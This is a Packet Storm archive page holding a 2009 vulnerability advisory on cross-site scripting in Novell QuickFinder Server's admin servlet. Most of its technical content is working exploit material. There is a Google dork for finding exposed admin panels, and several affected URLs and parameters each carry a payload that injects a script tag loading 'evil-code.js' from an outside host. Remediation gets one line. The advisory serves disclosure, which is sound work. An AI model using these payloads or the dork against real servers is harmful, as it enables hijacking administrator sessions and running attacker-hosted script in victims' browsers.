what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Novell-QuickFinder Server XSS

Novell-QuickFinder Server XSS
Posted Feb 9, 2009
Authored by Ivan Sanchez | Site nullcode.com.ar

Novell-QuickFinder Server suffers from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 35bb500e9e3fbd634f1928875171b9954e6d652c7bbffd5eb2c7f2b1eb7b5978

Novell-QuickFinder Server XSS

Change Mirror Download
                             NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!
+================================================================================================================================+
+ Novell-QuickFinder Server //Cross-site scripting (XSS) Remote Java Execution Code +
+================================================================================================================================+


Author(s): Ivan Sanchez

http://www.novell.com/products/openenterpriseserver/quickfinder.html

Date: 10/02/2009


Overview
--------

If your company's Web site is like most, it's not lacking in information. While your site's visitors have access to massive amounts of data, they may benefit from a faster,
more efficient way to pinpoint what they're looking for: QuickFinder Server (formerly NetWare® Web Search) from Novell.

Unlike all-Web search engines, QuickFinder is targeted at the Enterprise. General Internet search engines index many Web sites and their component pages, but they either cannot or do not index all available content. Perhaps that's the reason more than 75 percent of Web-site visitors use site-specific search functionality when it's available to them. In fact, for many Web sites, the search-results page has more hits than does the home page.
Yet more than 50 percent of large Web sites (over 500,000 pages) and 70 percent of moderately sized Web sites (up to 5,000 pages) do not offer search functionality to their visitors.

"
Today I was checking a lot parameters,"POST" we have a lot of them to be exploited.
So I have posted some, but we have much more.
cheers !!! "

GOOGLE DORKS:
------------

Google Search: inurl:"/NSearch/AdminServlet"



Parameter Affected over http/https:
-----------------------------------




"add virtual server"

https://server:2200/qfsearch/AdminServlet?&req=displayaddsite

Post:
siteloc=%22%3E%3Cscript%20src=http://nullcode.com.ar/scripts/evil-code.js%3E%3C/script%3E

"Default"

Post:
https://server:2200/qfsearch/AdminServlet?site=globalsearchsite&req=generalproperties
site="><script src=http://www.nullcode.com.ar/scripts/evil-code.js></script>

"services, synchronization"

Post:
https://server:2200/qfsearch/AdminServlet?&req=clusterserviceproperties
site="><script src=http://www.nullcode.com.ar/scripts/evil-code.js></script>


Querystring:

https://server2200/qfsearch/AdminServlet?&req=global&adminurl="><script src=http://www.nullcode.com.ar/scripts/evil-code.js></script>


Much more parameters have been affected.("print-list")



Remediation: Validate the Input.
------------





NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!
+================================================================================================================================+
+ Novell-QuickFinder Server //Cross-site scripting (XSS) Remote Java Execution Code +
+================================================================================================================================+


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close